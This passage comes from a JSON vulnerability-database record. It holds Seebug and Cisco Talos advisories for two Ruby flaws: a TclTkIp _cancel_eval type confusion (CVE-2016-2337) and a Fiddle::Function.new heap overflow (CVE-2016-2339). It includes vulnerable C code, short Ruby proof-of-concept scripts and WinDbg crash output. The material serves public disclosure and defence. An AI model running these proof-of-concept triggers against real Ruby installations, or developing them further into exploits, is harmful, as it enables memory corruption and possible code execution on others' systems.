Tcl/Tk8.6 or later\r\n\r\n### PRODUCT URLs\r\nhttps://www.ruby-lang.org\r\n\r\n### DETAILS\r\nVulnerable code:\r\n```\r\n---------------------------------------------- code \r\n--------------------------------------------- \r\nLine 7761 static VALUE\r\nLine 7762 ip_cancel_eval(argc, argv, self)\r\nLine 7763 int argc;\r\nLine 7764 VALUE *argv;\r\nLine 7765 VALUE self;\r\nLine 7766 {\r\nLine 7767 VALUE retval;\r\nLine 7768\r\nLine 7769 if (rb_scan_args(argc, argv, \"01\", &retval) == 0) {\r\nLine 7770 retval = Qnil;\r\nLine 7771 }\r\nLine 7772 if (ip_cancel_eval_core(get_ip(self)->ip, retval, 0) == \r\nTCL_OK) {\r\nLine 7773 return Qtrue;\r\nLine 7774 } else {\r\nLine 7775 return Qfalse;\r\nLine 7776 }\r\nLine 7777 }\r\n\r\nLine 7736 static int\r\nLine 7737 ip_cancel_eval_core(interp, msg, flag)\r\nLine 7738 Tcl_Interp *interp;\r\nLine 7739 VALUE msg;\r\nLine 7740 int flag;\r\nLine 7741 {\r\nLine 7742 #if TCL_MAJOR_VERSION < 8 || (TCL_MAJOR_VERSION == 8 && \r\nTCL_MINOR_VERSION < 6)\r\nLine 7743 rb_raise(rb_eNotImpError,\r\nLine 7744 \"cancel_eval is supported Tcl/Tk8.6 or \r\nlater.\");\r\nLine 7745\r\nLine 7746 UNREACHABLE;\r\nLine 7747 #else\r\nLine 7748 Tcl_Obj *msg_obj;\r\nLine 7749\r\nLine 7750 if (NIL_P(msg)) {\r\nLine 7751 msg_obj = NULL;\r\nLine 7752 } else {\r\nLine 7753 msg_obj = Tcl_NewStringObj(RSTRING_PTR(msg), \r\nRSTRING_LEN(msg));\r\nLine 7754 Tcl_IncrRefCount(msg_obj);\r\nLine 7755 }\r\nLine 7756\r\nLine 7757 return Tcl_CancelEval(interp, msg_obj, 0, flag);\r\nLine 7758 #endif\r\nLine 7759 }\r\n---------------------------------------------- code \r\n--------------------------------------------- \r\n```\r\n\r\nIn line 7769 \"canceleval\" method argument is parse out into \"retval\" variable. Next this variable is passed to \"ipcanceleval_core\" function (line 7772). In line 7753 we can see that our \"retval\" variable which in this function is passed as \"msg\" argument is treated as String object.Passing object different than String we will cause type confusion vulnerability in this line.\r\n\r\n\r\n### TIMELINE\r\n* 2015-06-18 - Initial Discovery \r\n* 2015-06-30 - Vendor Notification \r\n* 2016\u201406-14 - Public Disclosure", "cvss3": {}, "published": "2017-10-20T00:00:00", "type": "seebug", "title": "Ruby TclTkIp ip_cancel_eval Type Confusion Vulnerabilities(CVE-2016-2337)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2016-2337"], "modified": "2017-10-20T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96756", "id": "SSV:96756", "sourceData": "\n require 'tk'\r\nt = TclTkIp.new()\r\nt._cancel_eval(0x11223344)\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-96756", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-11-19T11:56:06", "description": "### DESCRIPTION\r\nAn exploitable heap overflow vulnerability exists in the Fiddle::Function.new \"initialize\" function functionality of Ruby. In Fiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.\r\n\r\n### TESTED VERSIONS\r\nRuby 2.3.0 dev Ruby 2.2.2\r\n\r\n### PRODUCT URLs\r\nhttps://www.ruby-lang.org\r\n\r\n### DETAILS\r\n```\r\nLine 86 static VALUE\r\nLine 87 initialize(int argc, VALUE argv[], VALUE self)\r\nLine 88 {\r\nLine 89 ffi_cif * cif;\r\nLine 90 ffi_type **arg_types;\r\nLine 91 ffi_status result;\r\nLine 92 VALUE ptr, args, ret_type, abi, kwds;\r\nLine 93 int i;\r\nLine 94 \r\nLine 95 rb_scan_args(argc, argv, \"31:\", &ptr, &args, &ret_type, &abi, \r\n&kwds);\r\nLine 96 if(NIL_P(abi)) abi = INT2NUM(FFI_DEFAULT_ABI);\r\nLine 97 \r\nLine 98 Check_Type(args, T_ARRAY);\r\nLine 99 Check_Max_Args(\"args\", RARRAY_LENINT(args));\r\n\r\n (...)\r\n\r\nLine 110 arg_types = xcalloc(RARRAY_LEN(args) + 1, sizeof(ffi_type *));\r\nLine 111\r\nLine 112 for (i = 0; i < RARRAY_LEN(args); i++) {\r\nLine 113 int type = NUM2INT(RARRAY_PTR(args)[i]);\r\nLine 114 arg_types[i] = INT2FFI_TYPE(type);\r\nLine 115 }\r\nLine 116 arg_types[RARRAY_LEN(args)] = NULL;\r\n```\r\n\r\nIn Line 110 based on length of passed by user args array, xcalloc allocates buffer for ffitype structures. Later in for loop we see that each element from this array is first converted to int and later to ffitype structure. Results of this conversions are stored in previous allocated array \"arg_types\".\r\n```\r\nExploiting knowledge that in Line 113 NUM2INT for non Integer object will call \"to_int\" method we can create properly constructed object which will \r\n```\r\n\r\nimplement this method and it's responsible will be to increase size of args array. Increased size of args array inside for loop just after space allocation for argtypes will cause during next iteration heap overflow in Line 114 and later in Line 116 during storing another ffitype structures.\r\n\r\n### CRASH ANALYSIS\r\n```\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=00000000 ebx=00000000 ecx=bf8d0000 edx=0008e3c8 esi=fffffffe edi=00000000\r\neip=77b612fb esp=0028fb08 ebp=0028fb34 iopl=0 nv up ei pl zr na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\r\nntdll!LdrpDoDebuggerBreak+0x2c:\r\n77b612fb cc int 3\r\n0:000> bu fiddle!Init_fiddle\r\n0:000> g\r\nModLoad: 75dc0000 75e20000 C:\\Windows\\SysWOW64\\IMM32.DLL\r\nModLoad: 75ce0000 75dac000 C:\\Windows\\syswow64\\MSCTF.dll\r\nModLoad: 72b10000 72b3b000 C:\\Windows\\SysWOW64\\nvinit.dll\r\nModLoad: 72b00000 72b09000 C:\\Windows\\SysWOW64\\VERSION.dll\r\nModLoad: 0f000000 0f006000 C:\\Program Files (x86)\\NVIDIA \r\nCorporation\\CoProcManager\\detoured.dll\r\nModLoad: 6e480000 6e4a9000 C:\\Program Files (x86)\\NVIDIA \r\nCorporation\\CoProcManager\\nvd3d9wrap.dll\r\nModLoad: 76740000 768dd000 C:\\Windows\\syswow64\\SETUPAPI.dll\r\nModLoad: 765a0000 765c7000 C:\\Windows\\syswow64\\CFGMGR32.dll\r\nModLoad: 762c0000 7634f000 C:\\Windows\\syswow64\\OLEAUT32.dll\r\nModLoad: 76440000 7659c000 C:\\Windows\\syswow64\\ole32.dll\r\nModLoad: 75490000 754a2000 C:\\Windows\\syswow64\\DEVOBJ.dll\r\nModLoad: 6e460000 6e47e000 C:\\Program Files (x86)\\NVIDIA \r\nCorporation\\CoProcManager\\nvdxgiwrap.dll\r\nModLoad: 72a90000 72aa7000 C:\\Windows\\SysWOW64\\CRYPTSP.dll\r\nModLoad: 72a50000 72a8b000 C:\\Windows\\SysWOW64\\rsaenh.dll\r\nModLoad: 71280000 7128c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\encdb.so\r\nModLoad: 6dd40000 6dd4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386- \r\nmingw32\\enc\\trans\\transdb.so\r\nModLoad: 6fbc0000 6fbcb000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\iso_8859_2.so\r\nModLoad: 70b40000 70b4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\thread.so\r\n*** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \r\n\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so -\r\nModLoad: 70a40000 70a50000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so\r\nModLoad: 6b740000 6b76a000 C:\\Ruby22\\bin\\libffi-6.dll\r\nBreakpoint 0 hit\r\n*** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \r\n\\Ruby22\\bin\\msvcrt-ruby220.dll -\r\neax=70a42270 ebx=70a4b068 ecx=70a40000 edx=70a40000 esi=70a4b4ed edi=64105061\r\neip=70a42270 esp=0028ee5c ebp=0028f2d8 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nfiddle!Init_fiddle:\r\n70a42270 55 push ebp\r\n0:000> bp 70A42ADD \".printf \\\" xcalloc( 0x%x )\\\",edx;.echo;g \"\r\n0:000> bp 70A42AE2 \".printf \\\"arg_types addr : 0x%x\\\",eax;.echo\"\r\n0:000> g\r\n\r\nStart\r\nargs array size : 1\r\n xcalloc( 0x2 )\r\narg_types addr : 0x2b81b50\r\n\r\neax=02b81b50 ebx=00000000 ecx=75e2f489 edx=00000018 esi=00000003 edi=0035003c\r\neip=70a42ae2 esp=0028f7a0 ebp=0028f808 iopl=0 nv up ei pl nz na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206\r\nfiddle!Init_fiddle+0x872:\r\n70a42ae2 89c7 mov edi,eax\r\n0:000> !heap -p -a 0x2b81b50\r\n address 02b81b50 found in\r\n _HEAP @ 510000\r\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\r\n 02b81b48 0004 0000 [00] 02b81b50 00008 - (busy)\r\n\r\n\r\n0:000> !heap -p -a 02b81b48+20 \r\n address 02b81b68 found in\r\n _HEAP @ 510000\r\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\r\n 02b81b68 0290 0000 [00] 02b81b70 01478 - (free)\r\n\r\n\r\n0:000> dd 02b81b48+20\r\n02b81b68 fad1ca73 000ae511 005100c4 00514668\r\n02b81b78 feeefeee feeefeee feeefeee feeefeee\r\n02b81b88 feeefeee feeefeee feeefeee feeefeee\r\n02b81b98 feeefeee feeefeee feeefeee feeefeee\r\n02b81ba8 feeefeee feeefeee feeefeee feeefeee\r\n02b81bb8 feeefeee feeefeee feeefeee feeefeee\r\n02b81bc8 feeefeee feeefeee feeefeee feeefeee\r\n02b81bd8 feeefeee feeefeee feeefeee feeefeee\r\n0:000> g\r\n\r\nincrease size of array\r\nNew args array size is : 11\r\n\r\nHEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f969 esi=02b81b48 edi=00000008\r\neip=77b9087c esp=0028fbb0 ebp=0028fbb0 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> !heap -p -a 02b81b48+20\r\n address 02b81b68 found in\r\n _HEAP @ 510000\r\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\r\n 02b81b68 b8ab 0000 [00] 02b81b70 4c66a - (busy)\r\n*** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \r\n\\Ruby22\\bin\\libffi-6.dll -\r\n libffi_6!ffi_type_pointer\r\n\r\n\r\n0:000> !heap -x 02b81b48+20\r\nERROR: Block 02b81b68 previous size 955d does not match previous block size 4\r\nHEAP 00510000 (Seg 02af0000) At 02b81b68 Error: invalid block Previous\r\n\r\n0:000> dd 02b81b48+20\r\n02b81b68 6b747048 6b747048 6b747048 6b747048\r\n02b81b78 6b747048 00000000 00000003 00000003\r\n02b81b88 00000003 00000003 00000003 00000003\r\n02b81b98 00000003 baadf00d baadf00d baadf00d\r\n02b81ba8 baadf00d baadf00d baadf00d baadf00d\r\n02b81bb8 baadf00d baadf00d abababab abababab\r\n02b81bc8 00000000 00000000 66d2c8ee 180ae518\r\n02b81bd8 02b6c4d0 02b6c4d0 02b6c4d0 02b6c4d0\r\n0:000> g\r\nHEAP[ruby.exe]: Invalid address specified to RtlSizeHeap( 00510000, 02B81B50 )\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f985 esi=00510000 edi=02b81b50\r\neip=77b9087c esp=0028fbcc ebp=0028fbcc iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> g\r\nHEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f871 esi=02b81b48 edi=00000008\r\neip=77b9087c esp=0028fab8 ebp=0028fab8 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> g\r\nHEAP[ruby.exe]: Invalid address specified to RtlFreeHeap( 00510000, 02B81B50 )\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f88d esi=00510000 edi=00510000\r\neip=77b9087c esp=0028fad4 ebp=0028fad4 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nntdll!RtlpBreakPointHeap+0x23:\r\n77b9087c cc int 3\r\n0:000> g\r\neax=00000000 ebx=00000000 ecx=0028f88c edx=0028f88d esi=77bc2100 edi=77bc20c0\r\neip=77adfd0e esp=0028fe40 ebp=0028fe5c iopl=0 nv up ei pl zr na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\r\nntdll!ZwTerminateProcess+0x12:\r\n77adfd0e 83c404 add esp,4\r\n0:000>\r\n```\r\n\r\n### TIMELINE\r\n* 2015-06-11 - Initial Discovery \r\n* 2015-06-30 - Vendor Notification \r\n* 2016-06-14 - Public Disclosure", "cvss3": {}, "published": "2017-10-20T00:00:00", "type": "seebug", "title": "Ruby Fiddle::Function.new Heap Overflow Vulnerability(CVE-2016-2339)", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2016-2339"], "modified": "2017-10-20T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96759", "id": "SSV:96759", "sourceData": "\n require 'fiddle'\r\n\r\n$args = []\r\nclass MyObject \r\n def to_int\r\n puts \"increase size of array\"\r\n (1..10).map{|x| $args.push(1)}\r\n puts \"New args array size is : #{$args.length}\" \r\n return 1\r\n end\r\nend\r\nputs \"Start\"\r\nx = MyObject.new\r\n$args.push(x)\r\nputs \"args array size : #{$args.length}\"\r\nf = Fiddle::Function.new(nil, $args, Fiddle::TYPE_VOIDP)\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-96759", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "talos": [{"lastseen": "2023-06-03T15:23:57", "description": "# Talos Vulnerability Report\n\n### TALOS-2016-0034\n\n## Ruby Fiddle::Function.new Heap Overflow Vulnerability\n\n##### June 14, 2016\n\n##### CVE Number\n\nCVE-2016-2339\n\n### DESCRIPTION\n\nAn exploitable heap overflow vulnerability exists in the Fiddle::Function.new \u201cinitialize\u201d function functionality of Ruby. In Fiddle::Function.new \u201cinitialize\u201d heap buffer \u201carg_types\u201d allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.\n\n### TESTED VERSIONS\n\nRuby 2.3.0 dev Ruby 2.2.2\n\n### PRODUCT URLs\n\nhttps://www.ruby-lang.org\n\n### DETAILS\n \n \n Line 86 \tstatic VALUE\n Line 87 \tinitialize(int argc, VALUE argv[], VALUE self)\n Line 88 \t{\n Line 89 \t\tffi_cif * cif;\n Line 90 \t\tffi_type **arg_types;\n Line 91 \t\tffi_status result;\n Line 92 \t\tVALUE ptr, args, ret_type, abi, kwds;\n Line 93 \t\tint i;\n Line 94 \n Line 95 \t\trb_scan_args(argc, argv, \"31:\", &ptr, &args, &ret_type, &abi, \n &kwds);\n Line 96 \t\tif(NIL_P(abi)) abi = INT2NUM(FFI_DEFAULT_ABI);\n Line 97 \n Line 98 \t\tCheck_Type(args, T_ARRAY);\n Line 99 \t\tCheck_Max_Args(\"args\", RARRAY_LENINT(args));\n \t\n \t\t\t(...)\n \t\n Line 110\t\targ_types = xcalloc(RARRAY_LEN(args) + 1, sizeof(ffi_type *));\n Line 111\n Line 112\t\tfor (i = 0; i < RARRAY_LEN(args); i++) {\n Line 113\t\t\tint type = NUM2INT(RARRAY_PTR(args)[i]);\n Line 114\t\t\targ_types[i] = INT2FFI_TYPE(type);\n Line 115\t\t}\n Line 116\t\targ_types[RARRAY_LEN(args)] = NULL;\n \n\nIn Line 110 based on length of passed by user args array, xcalloc allocates buffer for ffi_type structures. Later in for loop we see that each element from this array is first converted to int and later to ffi_type structure. Results of this conversions are stored in previous allocated array \u201carg_types\u201d. Exploiting knowledge that in Line 113 NUM2INT for non Integer object will call \u201cto_int\u201d method we can create properly constructed object which will implement this method and it\u2019s responsible will be to increase size of args array. Increased size of args array inside for loop just after space allocation for arg_types will cause during next iteration heap overflow in Line 114 and later in Line 116 during storing another ffi_type structures.\n\n### POC\n \n \n require 'fiddle'\n \n $args = []\n class MyObject\t\n def to_int\n \t puts \"increase size of array\"\n \t (1..10).map{|x| $args.push(1)}\n \t puts \"New args array size is : #{$args.length}\"\t\t\n \t return 1\n end\n end\n puts \"Start\"\n x = MyObject.new\n $args.push(x)\n puts \"args array size : #{$args.length}\"\n f = Fiddle::Function.new(nil, $args, Fiddle::TYPE_VOIDP)\n \n\n### CRASH ANALYSIS\n \n \n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=00000000 ebx=00000000 ecx=bf8d0000 edx=0008e3c8 esi=fffffffe edi=00000000\n eip=77b612fb esp=0028fb08 ebp=0028fb34 iopl=0 nv up ei pl zr na pe nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\n ntdll!LdrpDoDebuggerBreak+0x2c:\n 77b612fb cc int 3\n 0:000> bu fiddle!Init_fiddle\n 0:000> g\n ModLoad: 75dc0000 75e20000 C:\\Windows\\SysWOW64\\IMM32.DLL\n ModLoad: 75ce0000 75dac000 C:\\Windows\\syswow64\\MSCTF.dll\n ModLoad: 72b10000 72b3b000 C:\\Windows\\SysWOW64\\nvinit.dll\n ModLoad: 72b00000 72b09000 C:\\Windows\\SysWOW64\\VERSION.dll\n ModLoad: 0f000000 0f006000 C:\\Program Files (x86)\\NVIDIA \n Corporation\\CoProcManager\\detoured.dll\n ModLoad: 6e480000 6e4a9000 C:\\Program Files (x86)\\NVIDIA \n Corporation\\CoProcManager\\nvd3d9wrap.dll\n ModLoad: 76740000 768dd000 C:\\Windows\\syswow64\\SETUPAPI.dll\n ModLoad: 765a0000 765c7000 C:\\Windows\\syswow64\\CFGMGR32.dll\n ModLoad: 762c0000 7634f000 C:\\Windows\\syswow64\\OLEAUT32.dll\n ModLoad: 76440000 7659c000 C:\\Windows\\syswow64\\ole32.dll\n ModLoad: 75490000 754a2000 C:\\Windows\\syswow64\\DEVOBJ.dll\n ModLoad: 6e460000 6e47e000 C:\\Program Files (x86)\\NVIDIA \n Corporation\\CoProcManager\\nvdxgiwrap.dll\n ModLoad: 72a90000 72aa7000 C:\\Windows\\SysWOW64\\CRYPTSP.dll\n ModLoad: 72a50000 72a8b000 C:\\Windows\\SysWOW64\\rsaenh.dll\n ModLoad: 71280000 7128c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\encdb.so\n ModLoad: 6dd40000 6dd4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386- \n mingw32\\enc\\trans\\transdb.so\n ModLoad: 6fbc0000 6fbcb000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\iso_8859_2.so\n ModLoad: 70b40000 70b4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\thread.so\n *** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \n \\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so -\n ModLoad: 70a40000 70a50000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so\n ModLoad: 6b740000 6b76a000 C:\\Ruby22\\bin\\libffi-6.dll\n Breakpoint 0 hit\n *** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \n \\Ruby22\\bin\\msvcrt-ruby220.dll -\n eax=70a42270 ebx=70a4b068 ecx=70a40000 edx=70a40000 esi=70a4b4ed edi=64105061\n eip=70a42270 esp=0028ee5c ebp=0028f2d8 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n fiddle!Init_fiddle:\n 70a42270 55 push ebp\n 0:000> bp 70A42ADD \".printf \\\" xcalloc( 0x%x )\\\",edx;.echo;g \"\n 0:000> bp 70A42AE2 \".printf \\\"arg_types addr : 0x%x\\\",eax;.echo\"\n 0:000> g\n \n Start\n args array size : 1\n xcalloc( 0x2 )\n arg_types addr : 0x2b81b50\n \n eax=02b81b50 ebx=00000000 ecx=75e2f489 edx=00000018 esi=00000003 edi=0035003c\n eip=70a42ae2 esp=0028f7a0 ebp=0028f808 iopl=0 nv up ei pl nz na pe nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206\n fiddle!Init_fiddle+0x872:\n 70a42ae2 89c7 mov edi,eax\n 0:000> !heap -p -a 0x2b81b50\n address 02b81b50 found in\n _HEAP @ 510000\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\n 02b81b48 0004 0000 [00] 02b81b50 00008 - (busy)\n \n \n 0:000> !heap -p -a 02b81b48+20 \n address 02b81b68 found in\n _HEAP @ 510000\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\n 02b81b68 0290 0000 [00] 02b81b70 01478 - (free)\n \n \n 0:000> dd 02b81b48+20\n 02b81b68 fad1ca73 000ae511 005100c4 00514668\n 02b81b78 feeefeee feeefeee feeefeee feeefeee\n 02b81b88 feeefeee feeefeee feeefeee feeefeee\n 02b81b98 feeefeee feeefeee feeefeee feeefeee\n 02b81ba8 feeefeee feeefeee feeefeee feeefeee\n 02b81bb8 feeefeee feeefeee feeefeee feeefeee\n 02b81bc8 feeefeee feeefeee feeefeee feeefeee\n 02b81bd8 feeefeee feeefeee feeefeee feeefeee\n 0:000> g\n \n increase size of array\n New args array size is : 11\n \n HEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f969 esi=02b81b48 edi=00000008\n eip=77b9087c esp=0028fbb0 ebp=0028fbb0 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> !heap -p -a 02b81b48+20\n address 02b81b68 found in\n _HEAP @ 510000\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\n 02b81b68 b8ab 0000 [00] 02b81b70 4c66a - (busy)\n *** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \n \\Ruby22\\bin\\libffi-6.dll -\n libffi_6!ffi_type_pointer\n \n \n 0:000> !heap -x 02b81b48+20\n ERROR: Block 02b81b68 previous size 955d does not match previous block size 4\n HEAP 00510000 (Seg 02af0000) At 02b81b68 Error: invalid block Previous\n \n 0:000> dd 02b81b48+20\n 02b81b68 6b747048 6b747048 6b747048 6b747048\n 02b81b78 6b747048 00000000 00000003 00000003\n 02b81b88 00000003 00000003 00000003 00000003\n 02b81b98 00000003 baadf00d baadf00d baadf00d\n 02b81ba8 baadf00d baadf00d baadf00d baadf00d\n 02b81bb8 baadf00d baadf00d abababab abababab\n 02b81bc8 00000000 00000000 66d2c8ee 180ae518\n 02b81bd8 02b6c4d0 02b6c4d0 02b6c4d0 02b6c4d0\n 0:000> g\n HEAP[ruby.exe]: Invalid address specified to RtlSizeHeap( 00510000, 02B81B50 )\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f985 esi=00510000 edi=02b81b50\n eip=77b9087c esp=0028fbcc ebp=0028fbcc iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> g\n HEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f871 esi=02b81b48 edi=00000008\n eip=77b9087c esp=0028fab8 ebp=0028fab8 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> g\n HEAP[ruby.exe]: Invalid address specified to RtlFreeHeap( 00510000, 02B81B50 )\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f88d esi=00510000 edi=00510000\n eip=77b9087c esp=0028fad4 ebp=0028fad4 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> g\n eax=00000000 ebx=00000000 ecx=0028f88c edx=0028f88d esi=77bc2100 edi=77bc20c0\n eip=77adfd0e esp=0028fe40 ebp=0028fe5c iopl=0 nv up ei pl zr na pe nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\n ntdll!ZwTerminateProcess+0x12:\n 77adfd0e 83c404 add esp,4\n 0:000>\n \n\n### TIMELINE\n\n2015-06-11 - Initial Discovery \n2015-06-30 - Vendor Notification \n2016-06-14 - Public Disclosure \n\n\n##### Credit\n\nDiscovered by Marcin \u2018Icewall\u2019 Noga of Cisco Talos\n\n* * *\n\nVulnerability Reports Next Report\n\nTALOS-2016-0152\n\nPrevious Report\n\nTALOS-2016-0033\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2016-06-14T00:00:00", "type": "talos", "title": "Ruby Fiddle::Function.new Heap Overflow Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2016-06-14T00:00:00", "id": "TALOS-2016-0034", "href": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0034", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-03T15:23:57", "description": "# Talos Vulnerability Report\n\n### TALOS-2016-0031\n\n## Ruby TclTkIp ip_cancel_eval Type Confusion Vulnerabilities\n\n##### June 14, 2016\n\n##### CVE Number\n\nCVE-2016-2337\n\n### DESCRIPTION\n\nType Confusion exists in _cancel_eval Ruby\u2019s TclTkIp class method. Attacker passing different type of object than String as \u201cretval\u201d argument can cause arbitrary code execution.\n\n### TESTED VERSIONS\n\nRuby 2.3.0 dev Ruby 2.2.2 Tcl/Tk8.6 or later\n\n### PRODUCT URLs\n\nhttps://www.ruby-lang.org\n\n### DETAILS\n\nVulnerable code:\n \n \n ---------------------------------------------- code \n ---------------------------------------------\t\n Line 7761\tstatic VALUE\n Line 7762\tip_cancel_eval(argc, argv, self)\n Line 7763\tint argc;\n Line 7764\tVALUE *argv;\n Line 7765\tVALUE self;\n Line 7766\t{\n Line 7767\t\tVALUE retval;\n Line 7768\n Line 7769\t\tif (rb_scan_args(argc, argv, \"01\", &retval) == 0) {\n Line 7770\t\t\tretval = Qnil;\n Line 7771\t\t}\n Line 7772\t\tif (ip_cancel_eval_core(get_ip(self)->ip, retval, 0) == \n TCL_OK) {\n Line 7773\t\t\treturn Qtrue;\n Line 7774\t\t} else {\n Line 7775\t\t\treturn Qfalse;\n Line 7776\t\t}\n Line 7777\t}\n \n Line 7736\tstatic int\n Line 7737\tip_cancel_eval_core(interp, msg, flag)\n Line 7738\tTcl_Interp *interp;\n Line 7739\tVALUE msg;\n Line 7740\tint flag;\n Line 7741\t{\n Line 7742\t#if TCL_MAJOR_VERSION < 8 || 